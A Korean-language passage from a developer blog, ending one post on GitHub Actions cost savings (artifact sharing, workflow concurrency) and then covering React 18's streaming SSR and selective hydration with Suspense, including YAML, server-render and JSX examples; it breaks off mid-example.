예를 들어, 파이어폭스와 크롬에서 각각 e2e 테스트를 하는 작업이 있다고 가정해보자. 이 경우 빌드를 두번하게 되어 github action에 과금 부담이 증가할 수 있으므로 두번 이상 빌드하지 않는 것이 좋다. 이를 해결하기 위해서는 e2e 테스트를 실행하기전에 빌드 작업을 수행한다음, 이 빌드 결과물을 가지고 두군데에서 공유해서 사용하는 것이다.

이를 위해 사용하는 것이 `actions/upload-artifact` 와 `actions/download-artifact` 다.

- 빌드가 성공적으로 끝나면, `actions/upload-artifact` 로 빌드 결과물을 업로드
- 해당 빌드가 필요한 job에서 `actions/download-artifact`를 사용

이 방법은 동일한 워크플로우 실행중에 업로드된 워크플로우의 아티팩트만 다운로드 할 수 있다. 즉 여러개의 개별 action사이에서는 불가능한 방법이다.

```yaml
jobs:
  build:
    # ...
    steps:
      # ...
      - name: Run build
        run: |
          npm run build
      # This step in the build job will upload the build output generated by the previous step
      # 이전 스텝에서 만든 빌드 결과물을 업로드
      - name: Upload build artifacts
        uses: actions/upload-artifact@v2
        with:
          # 빌드 결과물에 이름을 부여
          name: build-output
          # 업로드할 결과물 path
          path: .next
  e2e-tests-chrome:
    # ...
    needs: build
    steps:
      ...
      # 이전에 업로드 했던 빌드 결과물을 다운로드
      - name: Download build artifacts
        uses: actions/download-artifact@v2
        with:
          name: build-output
          # 아티팩트를 어느 위치에 둘 것인지 설정
          path: .next
      - name: Run cypress
        uses: cypress-io/github-action@v2.10.1
        with:
          start: next start
          browser: chrome
  e2e-tests-firefox:
    # ...
    needs: build
    steps:
      ...
      # 반복
      - name: Download build artifacts
        uses: actions/download-artifact@v2
        with:
          name: build-output
          path: .next
      - name: Run cypress
        uses: cypress-io/github-action@v2.10.1
        with:
          start: next start
          browser: firefox
```

> 물론, artifacts를 업로드해서 저장하는 것도 매월 과금에 추가된다. 따라서 업로드 하기 전에 얼마나 과금이 될지 미리 고민을 해보는 것이 좋다. https://docs.github.com/en/billing/managing-billing-for-github-actions/about-billing-for-github-actions#included-storage-and-minutes

> `retention-days` 옵션을 사용하면, 시간이 경과한 아티팩트를 자동으로 삭제할 수 있다.

## 반복 작업 삭제하기

코드를 PR 올리기로 결정하고, 푸쉬를 하고 PR을 열었다고 가정해보자. PR로 인해 트리거된 워크플로우가 실행될 것이다. 그러나 잠깐 사이에 무언가 빠트린 코드가 생각나 다시 커밋후 푸시를 해보자. 이 경우에는 또다른 워크플로우가 실행 될 것이다.

기본적으로는 실행중인 이전 워크플로우를 중단할 수는 없다. 워크플로우가 완료될 때 까지 계속 실행되므로 과금에 낭비가 일어날 것이다.

이를 해결 하기 위해 github에서 비교적 최근에 [concurrency](https://github.blog/changelog/2021-04-19-github-actions-limit-workflow-run-or-job-concurrency/)라는 개념을 도입했다.

`concurrency`를 사용하면 워크플로우나 job에 대해서 하나의 concurrency group을 만들 수 있다. 이렇게 하면 한 그룹에서 실행중인 워크플로우가 있을 경우, 'pending' 상태로 표시된다. 그리고 새 워크플로우가 대기열에 추가될 때 마다 그룹에서 진행중인 워크플로우를 취소하도록 명령을 내릴 수 있다.

```yaml
name: CI

on:
  pull_request:
    branches:
      - main

concurrency:
  # 그룹을 pr의 head_ref로 정의
  group: ${{ github.head_ref }}
  # 해당 pr에서 새로운 워크플로우가 실행될 경우, 이전에 워크플로우가 있다면 이전 워크플로우를 취소하도록 한다.
  cancel-in-progress: true

jobs:
  install-cache:
  # ...
```

워크플로우 레벨에서 이 작업을 수행하면, 새로운 변경사항을 커밋하여 새로운 워크플로우가 실행 될 때 이전 워크플로우를 취소 시킬 수 있으므로 시간과 비용을 절약할 수 있다.

> 더 많은 `concurrency` 예제 살펴보기: https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#concurrency

---

Source: https://yceffort.kr/2021/09/react-18-ssr-architecture.md
Title: 리액트 18에서 변경될 새로운 SSR 아키텍쳐
Description: 따라가는 것만 해도 바쁜 인생
Date: 2021-09-25
Tags: react, web-performance

## Table of Contents

## Overview

React 18의 다가올 변경사항 중에는 서버사이드 렌더링 (Server-Side Rendering, 이하 SSR) 성능을 향상 시키기 위한 아키텍처 개선이 있다. 이러한 개선은 몇년간의 노력으로 이루어져 있으며 뛰어난 향상을 만들어 낼 것이다. 개선사항의 대부분은 미공개가 될 예정이지만 (behind-the-scenes) 프레임워크를 사용하지 않는 경우 (nextjs와 같은) 주의해야할 몇가지 옵트인 메커니즘이 존재한다.

새롭개 공개되는 API는 `pipeToNodeWritable`로, [여기](https://github.com/reactwg/react-18/discussions/22)에서 찾아볼 수 있다. 아직 완성된 것이 아니기 때문에 차후에 자세히 글을 쓸 예정이다.

현재는 `<Suspense>` API가 기본으로 자리잡고 있다.

그리고 이것이 React 18에서 어떻게 변화하는지, 설계와 어떤 문제를 해결하려 하는지 살펴보자.

## 요약

SSR을 사용하여 React 컴포넌트를 서버에서 HTML로 생성하고, 해당 HTML을 사용자에게 전송할 수 있다. SSR을 사용하면 자바스크립트 번들이 로드되어 실행되기 전에 페이지의 내용을 보여줄 수 있다는 장점이 있다.

리액트에서 SSR은 아래와 같은 순서로 일어난다.

1. 서버에서 애플리케이션 전체를 위한 데이터를 불러온다.
2. 서버에서 애플리케이션 전체를 HTML로 렌더링 한다음 이를 응답으로 돌려 보내준다.
3. 클라이언트에서 애플리케이션 전체 자바스크립트 코드를 실행한다.
4. 클라이언트에서 서버에서 만들어진 HTML과 자바스크립트 로직을 결합한다. (이를 `hydration`이라 부른다.)

여기서 핵심은 다음 단계를 시작하기 전에 각 단계가 전체 애플리케이션에 걸쳐서 완료되어야 한다는 것이다. 거의 모든 앱에서 그렇듯이, 여기서 일부분이라도 다른 부분에 비해 느릴 경우 비효율적으로 애플리케이션이 동작하게 된다.

React 18을 사용하면, `<Suspense>`를 사용하여 이 단계를 서로 독립적으로 실행하고, 나머지 부분을 서로 차단하지 않는 더 작은 독립 장치로 프로그램을 나눌 수 있다. 결과적으로, 애플리케이션의 사용자는 콘텐츠를 더 빨리보고 훨씬 더 빠르게 인터랙션을 할 수 있다. 애플리케이션에서 가장 느린부분이 더 이상 전체 프로세스의 짐이 되지 않는다. 이러한 개선사항은 자동으로 수행되고, 작동하기 위해 특별히 코드를 조정할 필요도 없다.

이는 `React.lazy`가 SSR과 함께 작동한다는 의미이기도 하다. [데모](https://codesandbox.io/s/festive-star-9hfqt?file=/src/App.js)를 살펴보자.

> SSR을 위한 프레임워크를 사용하지 않는다면, [HTML을 생성하는 방식을 변경해야 한다.](https://codesandbox.io/s/festive-star-9hfqt?file=/server/render.js:1043-1575)

```javascript
/**
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 */

import * as React from 'react'
// import {renderToString} from 'react-dom/server';
import {pipeToNodeWritable} from 'react-dom/server'
import App from '../src/App'
import {DataProvider} from '../src/data'
import {API_DELAY, ABORT_DELAY} from './delays'

// 실제 애플리케이션에서는, webpack이 처리하는 일
let assets = {
  'main.js': '/main.js',
  'main.css': '/main.css',
}

module.exports = function render(url, res) {
  // 기존에 우리가 했던 방식
  //
  // res.send(
  //   '<!DOCTYPE html>' +
  //   renderToString(
  //     <DataProvider data={data}>
  //       <App assets={assets} />
  //     </DataProvider>,
  //   )
  // );

  res.socket.on('error', (error) => {
    console.error('Fatal', error)
  })
  let didError = false
  const data = createServerData()
  // 여기가 바로 리액트 18에서 변경된 부분이다.
  const {startWriting, abort} = pipeToNodeWritable(
    <DataProvider data={data}>
      <App assets={assets} />
    </DataProvider>,
    res,
    {
      onReadyToStream() {
        // 스트리밍 시작전에 에러가 발생할 경우, 에러코드를 내려준다.
        res.statusCode = didError ? 500 : 200
        res.setHeader('Content-type', 'text/html')
        res.write('<!DOCTYPE html>')
        startWriting()
      },
      onError(x) {
        didError = true
        console.error(x)
      },
    },
  )
  // 렌더링을 준비할 만큼 시간을 줬는데, 이 시간이 지나가버리면 그냥 클라이언트에서 렌더링 하도록 하게 한다.
  // ABORT_DELAY를 낮춰서 클라이언트가 렌더링하는 것을 살펴볼 수도 있다.
  setTimeout(abort, ABORT_DELAY)
}

// 데이터 fetch로 인한 지연을 시뮬레이션
// 스트리밍 HTML 렌더러가 아직 실제 데이터 가져오는 것과 일치 하지 않도록 하기 위해 고의로 타임아웃을 줘서 시뮬레이션
function createServerData() {
  let done = false
  let promise = null
  return {
    read() {
      if (done) {
        return
      }
      if (promise) {
        throw promise
      }
      promise = new Promise((resolve) => {
        setTimeout(() => {
          done = true
          promise = null
          resolve()
        }, API_DELAY)
      })
      throw promise
    },
  }
}
```

## SSR은 무엇인가?

> - 검정 네모: 컴포넌트
> - 초록색 빗금: 사용자가 사용할 수 있는 준비가 되었다.
> - 흰색 빗금: HTML만 로딩 되었다. (아직 자바스크립트 코드가 로딩되지 않아 대부분의 기능을 사용할 수는 없는 상태)

유저가 웹사이트를 처음 로딩한다면, 개발자들은 최대한 빨리 사용자에게 사용가능한 페이지를 제공하고 싶을 것이다.

![fully-loaded-website](https://camo.githubusercontent.com/8b2ae54c1de6c1b24d9080d2a50a68141f7f57252803543c30cc69cdd4b82fa1/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f784d50644159634b76496c7a59615f3351586a5561413f613d354748716b387a7939566d523255565a315a38746454627373304a7553335951327758516f3939666b586361)

이 그림에서는, 녹색 영역이 '사용자가 사용가능한 페이지'를 의미한다. 즉 모든 자바스크립트의 이벤트 핸들러가 연결되어 있고, 버튼을 클릭하면 상태를 업데이트 하는 등의 여러가지 작업을 수행할 수 있다.

만약 페이지에서 자바스크립트 코드가 완전히 로딩 되지 않았다면 페이지 내에서 사용자가 작업을 수행할 수 없을 것이다. 이 자바스크립트 코드에는 리액트 그 자체와 애플리케이션 내 코드가 모두 포함된다. 크기가 작은 웹 사이트의 경우, 로드 시간의 대부분이 애플리케이션 코드를 다운로드 하는데 보내버린다.

SSR을 사용하지 않는다면, 자바스크립트를 로딩하는 동안 사용자가 볼 수 있는 페이지는 빈 페이지일 뿐이다.

![blank-website](https://camo.githubusercontent.com/7fac45f105cd741a94db77234465c4c85843b1e6f902b21bbdb1fe5b52d25a05/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f39656b30786570614f5a653842764679503244652d773f613d6131796c464577695264317a79476353464a4451676856726161375839334c6c726134303732794c49724d61)

이러한 상태는 좋지 못하다. 그래서 우리는 SSR을 사용하게 된다. SSR을 사용하면 서버에서 리액트 컴포넌트를 HTML로 렌더링 하여 사용자에게 전송할 수 있다. HTML은 링크나 form 입력 같은 아주 기초적인 웹 인터랙션 말고는 할 수 있는게 별로 없긴하다. 그러나 사용자는 자바스크립트 코드가 완전히 로딩되는 동안 최소한 아래와 같은 화면은 볼 수 있다.

![SSR-website](https://camo.githubusercontent.com/e44ee4be56e56e74da3b9f7f5519ca6197b24e9c34488df933140950f1b31c38/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f534f76496e4f2d73625973566d5166334159372d52413f613d675a6461346957316f5061434668644e36414f48695a396255644e78715373547a7a42326c32686b744a3061)

위 그림에서 회색 영역은 화면에서 이러한 인터랙션이 가능하지 않음을 의미한다. 아직 애플리케이션의 자바스크립트 코드가 로딩되지 않았기 때문에 버튼을 클릭해도 아무런 소용이 없을 것이다. 그러나 콘텐츠가 많은 웹 사이트의 경우, SSR은 속도가 느린 환경의 유저에세 자바스크립트를 로딩하는 동안 최소한 콘텐츠를 볼 수 있게는 해주므로 유용하다.

리액트와 프로그램의 코드가 모두 로딩 되면, 이 HTML을 다시 인터랙션이 가능한 상태로 만드려고 한다. 여기에서 우리는 리액트에게 이렇게 명령을 전달한다. "서버사이드에서 생성된 페이지가 있다. 여기에 이벤트 핸들러를 붙여" SSR이 아닌 리액트는 컴포넌트 트리를 메모리에 렌더링하지만, DOM 노드를 생성하는 대신에 이미 생성되어 있는 HTML에 이 로직을 붙여 나가게 된다.

**컴포넌트를 렌더링하고 이벤트 핸들러를 연결하는 이러한 프로세스를 "hydration"이라고 부른다. 이는 "dry"한 HTML에 인터랙션이 가능한 "water"를 주는 것이다.**

"hydration" 한 뒤에는 리액트는 드디어 비로소 적절하게 동작한다. 컴포넌트가 상태를 설정하고, 클릭에 반응하는 등의 작업을 수행할 수 있게 된다.

![fully-loaded-website](https://camo.githubusercontent.com/8b2ae54c1de6c1b24d9080d2a50a68141f7f57252803543c30cc69cdd4b82fa1/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f784d50644159634b76496c7a59615f3351586a5561413f613d354748716b387a7939566d523255565a315a38746454627373304a7553335951327758516f3939666b586361)

SSR은 일종의 매직 트릭과도 같다. 그렇다고 해서 애플리케이션이 인터랙션하는 속도가 빨라지는 것은 아니다. 사용자가 JS가 로딩되는 것을 기다리는 동안 정적 콘텐츠라도 볼 수 있도록 애플리케이션을 조금더 빠르게 보여주는 것이다. 이 트릭은 네트워크 연결이 좋지 않은 사람들에게 큰 차이를 만들어 주고, 전반적으로 성능을 향상시켜 줄 수 있다. 또한 인덱싱이 쉽고, 속도가 향상되어 검색엔진 우선순위 지정에도 도움이 된다.

> SSR과 [Server Components](https://reactjs.org/blog/2020/12/21/data-fetching-with-react-server-components.html)는 다른 것이다. Server Components는 React 18 릴리즈 대상이 아닐 수도 있는 좀더 실험적인 기능이다.

## 오늘날 SSR의 문제점은 무엇인가?

위 작업은 동작하지만, 몇가지 최적화가 필요한 부분이 있다.

### 모든 fetch가 끝나야 뭐라도 보여줄 수 있다.

오늘날 SSR의 문제점은 컴포넌트가 "데이터 대기" 상태를 허용하지 않는 다는 것이다. 현재 API를 사용하면, HTML으로 렌더링할 때 쯤이면 서버에서 컴포넌트에 대한 모든 데이터가 준비가 되어 있어야 한다. 즉, HTML을 클라이언트에 전송하기 전에 서버에서 모든 데이터가 수집되어 있어야 한다. 이는 상당히 비효율적이다.

예를 들어, 댓글이 있는 게시물을 렌더링 한다고 가정해보자. 댓글은 일찍 표시하는게 좋기 때문에 서버 HTML 결과물에 포함시킬 수도 있다. 그러나 데이터 베이스 또는 API 수준에서 속도는 우리가 제어할 수 없다. 이제 우리는 선택을 해야 한다. 서버에서 내보내지 않는다면, 자바스크립트가 로딩되기 전까지 사용자가 댓글을 볼 수 없다. 혹은 서버에 포함시키는 경우 댓글이 로딩되고 전체 트리를 렌더링 할수 있을 때 까지 기다려야 한다.

### hydration 하기 전까지 모든 자바스크립트를 로딩해야 한다.

자바스크립트 코드가 로딩되면, 리액트에 HTML을 "hydrating" 하여 상호작용할 수 있게 끔 만들어 달라고 해야 한다. 리액트는 컴포넌트를 렌더링 하는 동안 서버에서 생성한 HTML을 순회하면서 이벤트 핸들러를 HTML에 연결해야 한다. 이 작업을 수행하려며 브라우저의 컴포넌트에서 생성된 트리가 서버에서 생성된 트리와 일치 되어야 한다. 그렇지 않으면 React가 이를 맞추지 못하게 된다. 결과적으로 클라이언트에 있는 모든 컴포넌트의 자바스크립트를 로딩해야 hydrate 가 가능해 진다는 것이다.

예를 들어, 댓글 위젯에 복잡한 기능이 포함되어 있고 이를 위한 자바스크립트 로딩을 하는데 시간이 걸린다고 가정해보자. 이제 우리는 어려운 선택을 해야 한다. 서버에서 댓글을 불러와 HTML을 조기 렌더링 하는 것 까지는 오케이. 그러나 hydration은 한번에 일어나야 하기 때문에, 댓글 위젯에 있는 코드를 로딩하기 전까지는 사이드바나 게시글에 대해서 hydration을 할 수가 없다. 물론 코드 분할을 통하여 이를 달성할 수도 있지만, 서버 HTML에서 댓글을 제거해야 한다. 그렇지 않으면 리액트는 이 HTML을 어떻게 해야할지 모르고 hydration 중에 삭제해 버릴 것이다.

### 상호작용이 가능해지기전까지 모든 것을 hydration 해야 한다.

"hydration" 자체에도 비슷한 문제가 있다. 현재 리액트는 한번에 모든 트리에 hydration을 진행한다. 즉 일단 hydration을 시작하면 (컴포넌트 함수를 호출하면) 트리 전체에 이 작업을 완료 할 때 까지 멈출 수 없다. 따라서 모든 컴포넌트가 hydration을 할 때 까지 기다려야만 컴포넌트와 상호작용할 수 있다.

예를 들어, 댓글 위젯에 많은 렌더링 로직이 포함되어 있다고 가정해보자. 일반적인 컴퓨터에서는 빠르게 동작할 수 있지만, 보급형 모바일 기기에서는 이러한 로직을 실행하는 것이 결코 저렴한 작업이 아니며, 화면을 몇 초 동안 얼어붙어있게 할 수도 있다. 물론, 이상적인 상황에서는 이러한 로직이 클라이언트에 담겨 있어서는 안된다. (Server Components가 도움이 될 수도 있다.) 그러나 일부 로직에서는 이벤트 핸들러가 무엇을 해야 하는지 결정해야 하며, 상호작용이 일어나는 것이 필수적이기 때문에 이러한 상황을 피하는 것은 어렵다. 따라서 일단 hydration이 일어나면 전체 트리에 이 작업이 끝나기전까지는 다른 콘텐츠를 사용할 수 없다. 사용자가 이 페이지에서 완전히 벗어나고 싶어하는 경우 (다른 페이지로 가고 싶어 하는 경우)에도, 불행하게도 hydration 작업 때문에 바빠서 사용자가 원하지 않는 콘텐츠를 현재 페이지에서 계속해서 가지고 있어야 한다. (로딩이 끝나기도 전에 다른 페이지로 가고 싶지만 hydration 작업 중이라 현재 로딩을 멈추지 못한다)

## 이 문제를 해결하는 방법

위에서 언급한 문제들 사이에는 공통점이 있다. 작업을 그냥 시작해서 되도록 빨리 끝나게 하거나 (하지만 다른 작업을 블로킹하기 때문에 UX에 좋지 않음), 나중에 수행하도록 작업을 미루는 (사용자가 시간을 낭비하게 됨) 이지선다밖에 없다는 것이다.

그 이유는 바로 이 작업이 폭포수처럼 실행되기 때문이다.

1. 데이터 가져오기 (서버)
2. HTML 렌더링 (서버)
3. 자바스크립트 로드 (클라이언트)
4. hydration (클라이언트)

이 단계들은 이전 단계가 완료되기 전까지는 시작할 수가 없다. 이것이 비효율적인 이유이다. 리액트의 해결책은 애플리케이션 전체에 걸쳐 이 작업이 일너아는 것이 아니라, 화면의 각 부분이 이 작업을 단계별로 수행할 수 있도록 작업을 분리하는 것이다.

이는 완전히 새로운 생각은 아니다. [Marko](https://markojs.com/)는 이 패턴을 구현하는 자바스크립트 웹 프레임워크 중 하나다. 문제는 리액트가 어떻게 이 패턴을 적용하는가 이다. 이러한 문제를 해결하기 위해 `<Suspense>`를 2018년에 소개했다. 처음 도입했을 때는 물론 클라이언트에 코드를 레이지 로드 하는 용도였다. 그러나 최종 목표는 이를 SSR과 통합하여 위에서 언급한 문제를 해결하는 것이다.

## React 18: HTML 스트리밍과 선택적 hydration

리액트 18 에서는 `Suspense`를 활용한 두가지 주요 SSR 기능을 제공한다.

- 서버에서 HTML을 스트리밍. 이를 위해 `renderToString` 대신 `pipeToNodeWritable`을 사용해야 한다.
- 클라이언트에서 선택적 hydration: 이를 위해 `createRoot`를 사용하고 `<Suspense>`로 감싼다.

이 두 기능을 어떻게 사용하고, 문제를 어떻게 해결하는지 예제를 통해 살펴보자.

### 모든 데이터를 불러오기전에, HTML을 스트리밍한다.

오늘날 SSR은, HTML을 렌더링하고 hydration 하는 것은 모 아니면 도 다. 다 되거나, 안되거나 둘중 하나다. 아래 HTML을 보자.

```html
<main>
  <nav>
    <!--NavBar -->
    <a href="/">Home</a>
  </nav>
  <aside>
    <!-- Sidebar -->
    <a href="/profile">Profile</a>
  </aside>
  <article>
    <!-- Post -->
    <p>Hello world</p>
  </article>
  <section>
    <!-- Comments -->
    <p>First comment</p>
    <p>Second comment</p>
  </section>
</main>
```

위 HTML을 받으면 클라이언트는 아래를 그릴 것이다.

![SSR-website](https://camo.githubusercontent.com/e44ee4be56e56e74da3b9f7f5519ca6197b24e9c34488df933140950f1b31c38/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f534f76496e4f2d73625973566d5166334159372d52413f613d675a6461346957316f5061434668644e36414f48695a396255644e78715373547a7a42326c32686b744a3061)

그리고 코드를 로딩하고 hydration이 끝나면 아래와 같은 완전한 애플리케이션이 완성된다.

![fully-loaded-website](https://camo.githubusercontent.com/8b2ae54c1de6c1b24d9080d2a50a68141f7f57252803543c30cc69cdd4b82fa1/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f784d50644159634b76496c7a59615f3351586a5561413f613d354748716b387a7939566d523255565a315a38746454627373304a7553335951327758516f3939666b586361)

하지만 리액트 18에서는 다르다. 페이지의 일부를 `<Suspense>`로 감쌀 수 있다.

예를 들어, 댓글을 `<Suspense>`로 감싸고, 로딩되기전까지는 `<Spinner>`를 보여지게 할 수 있다.

```html
<Layout>
  <NavBar />
  <Sidebar />
  <RightPane>
    <Post />
    <Suspense fallback={<Spinner />}>
      <Comments />
    </Suspense>
  </RightPane>
</Layout>
```

`<Comments>`를 `<Suspense>`로 감싼 효과로, 리액트는 댓글 컴포넌트를 기다리지 않고 HTML을 스트리밍할 수 있다. 아직 로딩 되지 않는 댓글 컴포넌트 대신, 아래와 같이 화면이 나타날 것이다.

![comments](https://camo.githubusercontent.com/484be91b06f3f998b3bda9ba3efbdb514394ab70484a8db2cf5774e32f85a2b8/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f704e6550316c4253546261616162726c4c71707178413f613d716d636f563745617955486e6e69433643586771456961564a52637145416f56726b39666e4e564646766361)

그리고 클라이언트가 받은 최초 HTML은 아래와 같을 것이다.

```html
<main>
  <nav>
    <!--NavBar -->
    <a href="/">Home</a>
  </nav>
  <aside>
    <!-- Sidebar -->
    <a href="/profile">Profile</a>
  </aside>
  <article>
    <!-- Post -->
    <p>Hello world</p>
  </article>
  <section id="comments-spinner">
    <!-- Spinner -->
    <img width="400" src="spinner.gif" alt="Loading..." />
  </section>
</main>
```

그리고 댓글 데이터가 준비된다면, 리액트는 같은 스트림으로 추가적인 HTML을 보낼 텐데, 여기에는 HTML을 올바른 위치에 삽입하기 위한 최소한의 인라인 script 태그가 포함되어 있다.

```html
<div hidden id="comments">
  <!-- Comments -->
  <p>First comment</p>
  <p>Second comment</p>
</div>
<script>
  // This implementation is slightly simplified
  document
    .getElementById('sections-spinner')
    .replaceChildren(document.getElementById('comments'))
</script>
```

그 결과, 리액트 자체가 클라이언트에 로드되기 이전에, 뒤늦게 댓글용 HTML 코드가 삽입될 것이다.

![complete](https://camo.githubusercontent.com/e44ee4be56e56e74da3b9f7f5519ca6197b24e9c34488df933140950f1b31c38/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f534f76496e4f2d73625973566d5166334159372d52413f613d675a6461346957316f5061434668644e36414f48695a396255644e78715373547a7a42326c32686b744a3061)

우리는 이로써 첫번째 문제를 해결할 수 있게 되었다. 더 이상 모든 데이터를 준비해둘 필요가 없다. 화면 일부분이 초기 HTML을 지연시킨다면, 모든 HTML을 지연시키거나, HTML에서 일부를 제외시킬 필요가 없다. HTML 스트림에서 나중에 해당 부분을 별도로 삽입할 수 있다.

전통적인 HTML 스트리밍 기술과는 다르게, 꼭 하향식 순서로 일어날 필요가 없다. 예를 들어 사이드바에 적용하고 싶다면, 사이드바를 `<Suspense>`로 묶을 수 있다. 그런다음 사이드바 HTML이 준비되면 React는 HTML 전송이 이미 한차례 끝났지만 다시한번 script 태그와 함께 나머지 HTML을 스트리밍 할 수 있다. 데이터가 특정 순서대로 로딩될 필요는 없다. 스피너가 나타날 위치를 지정하면, 리액트가 나머지를 알아서 계산한다.

> 이 작업을 수행하기 위해서는, 데이터를 가져오는 것을 Suspense와 인테그레이션 해야 한다. Server Components는 Suspense와 함께 쉽게 통합되지만, 그 외에도 다른 fetch 라이브러리와도 통합할 수 있는 방법을 제공할 예정이다.

### 모든 코드가 로드되기 전에 페이지를 hydration 하기

초기 HTML은 일찍 보낼 수 있지만 아직 모든 문제가 해결 된 것은 아니다. 댓글 위젯의 자바스크립트 코드가 모두 로딩되기 전까지 앱에서 hydration을 진행할 수 없다. 이는 코드 크기에 따라서 더 오래 걸릴 수도 있다.

큰 번들을 피하기 위해, 보통은 "코드 스플릿" 을 사용한다. 코드의 일부를 동기적으로 로딩하지 않아도 되고, 혹은 번들러가 이를 별도의 script 태그로 분할하는 방법도 있다.

`React.lazy`로 코드를 분할하여 메인 번들에서 댓글 코드를 아래처럼 분리할 수 있다.

```jsx
import {lazy} from 'react'

const Comments = lazy(() => import('./Comments.js'))

// ...

;<Suspense fallback={<Spinner />}>
  <Comments />
</Suspense>
```

과거 이 방법은 서버사이드 렌더링에서는 동작하지 않았다. 우리가 아는한 SSR에서는, SSR에서 코드 스플릿 컴포넌트를 제외하거나, 코드를 모두 로딩한 후 hydration하거나 둘 중 하나일 뿐이다. 두 방법 모두 어쨌거나 코드 스플릿의 목적을 다소간 손상시킨다.

그러나 리액트 18 부터는 `<Suspense>`를 통해 댓글 위젯이 로드되기전에 애플리케이션에 hydration을 진행할 수 있다.

사용자 관점에서, 처음에 HTML로 스트리밍되는 상호작용이 불가능한 콘텐츠를 살펴보자.

![load-comment](https://camo.githubusercontent.com/484be91b06f3f998b3bda9ba3efbdb514394ab70484a8db2cf5774e32f85a2b8/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f704e6550316c4253546261616162726c4c71707178413f613d716d636f563745617955486e6e69433643586771456961564a52637145416f56726b39666e4e564646766361)

![load-complete](https://camo.githubusercontent.com/e44ee4be56e56e74da3b9f7f5519ca6197b24e9c34488df933140950f1b31c38/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f534f76496e4f2d73625973566d5166334159372d52413f613d675a6461346957316f5061434668644e36414f48695a396255644e78715373547a7a42326c32686b744a3061)

리액트는 이제 hydrate할 준비가 끝났다. 댓글 코드가 아직 오지 않았지만, 뭐 괜찮다. 나머지를 hydration 하면 된다.

![selective-hydration](https://camo.githubusercontent.com/4892961ac26f8b8dacbd53189a8d3fd1b076aa16fe451f8e2723528f51b80f66/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f304e6c6c3853617732454247793038657149635f59413f613d6a396751444e57613061306c725061516467356f5a56775077774a357a416f39684c31733349523131636f61)

이것이 선택적 hydration의 예시다. `Comments`를 `<Suspense>`로 감쌈으로써, 리액트에 페이지의 나머지 부분을 스트리밍하는 것을 차단해서는 안되고, hydration 과정에서도 차단하면 안된다고 말할 수 있게 됐다. 이제 두번째 문제도 해결되었다. hydrating을 하기 위해 더 이상 모든 코드가 로딩될 때 까지 기다릴 필요가 없다. 리액트는 이제 각 부분 별로 코드가 준비되면 hydration을 할 수 있게 되었다.

댓글 부분이 hydration 까지 끝나면 이제 전체애플리케이션을 사용할 수 있게 되었다.

그리고이 선택적 hydration 덕분에, 무거운 자바스크립트 코드가 로딩되지 않더라도 페이지 나머지 부분이 사용가능해 졌다.

### HTML 스트리밍이 모두 끝나기 전에 hydrating

리액트는 이 모든 작업을 알아서 처리하므로, 예기치 않은 순서로 인해 발생하는 일에 대해 걱정할 필요가 없다. 예를 들어 HTML을 스트리밍하는 동안에도 로드하는데 오랜 시간이 걸릴 수도 있다.

![loading](https://camo.githubusercontent.com/484be91b06f3f998b3bda9ba3efbdb514394ab70484a8db2cf5774e32f85a2b8/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f704e6550316c4253546261616162726c4c71707178413f613d716d636f563745617955486e6e69433643586771456961564a52637145416f56726b39666e4e564646766361)

자바스크립트 코드 로딩이 HTML 보다 빨리 끝난다면, 리액트는 HTML을 기다릴 이유가 없다. 그냥 나머지 페이지를 hydration 하면 된다.

![loading2](https://camo.githubusercontent.com/ee5fecf223cbbcd6ca8c80beb99dbea40ccbacf1b281f4cf8ac6970c554eefa3/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f384c787970797a66786a4f4a753475344e44787570413f613d507a6a534e50564c61394a574a467a5377355776796e56354d715249616e6c614a4d77757633497373666761)

댓글의 HTML이 이제서야 로딩되었다면, 자바스크립트 코드가 로딩되지 않아 아래처럼 나타날 것이다.

![comment loading](https://camo.githubusercontent.com/4892961ac26f8b8dacbd53189a8d3fd1b076aa16fe451f8e2723528f51b80f66/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f304e6c6c3853617732454247793038657149635f59413f613d6a396751444e57613061306c725061516467356f5a56775077774a357a416f39684c31733349523131636f61)

그리고 모든 작업이 끝나면, 페이지가 이제 완전히 작동할 것이다.

### 모든 컴포넌트가 hydrate 되기전에 페이지와의 상호작용

앞서 언급한 것 외에도 한가지더 개선점이 존재한다. 이제 더 이상 `hydration`작업이 브라우저가 다른 작업을 하는 것을 막지 않는다.

예를 들어, 댓글 컴포넌트가 hydrate 하는 동안 사용자가 사이드바를 클릭한다고 가정해보자.

![comment-hydrate-interaction](https://camo.githubusercontent.com/6cc4eeef439feb3c17d0ac09c701c0deffe170c60a039afa8c0b85d7d4b9c9ef/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f5358524b357573725862717143534a3258396a4769673f613d77504c72596361505246624765344f4e305874504b356b4c566839384747434d774d724e5036374163786b61)

리액트 18에서는, Suspense 바운더리 내에 있는 hydration 콘텐츠는 브라우저가 이벤트를 처리할 수 있는 한에서 만 수행된다. 덕분에 클릭이 즉시 처리되고, 보급형 모바일 디바이스에서도 hydration이 오래걸리지만 브라우저가 계속 작동하는 것 처럼 보일 수 있다. 예를 들어, hydration 작업 중에도 사용자는 더 이상 관심없는 페이지를 나갈 수도 있다.

이 예제에서는, 댓글만 `Suspense`로 감싸져있기 때문에 페이지 나머지 부분에 hydration을 하는 것은 한번에 이뤄진다. 하지만 많은 다른 부분들도 `Suspense`로 감싼다면 이를 고칠 수 있다. 예를 들어 사이드바도 똑같이 적용해보자.

```html
<Layout>
  <NavBar />
  <Suspense fallback={<Spinner />}>
    <Sidebar />
  </Suspense>
  <RightPane>
    <Post />
    <Suspense fallback={<Spinner />}>
      <Comments />
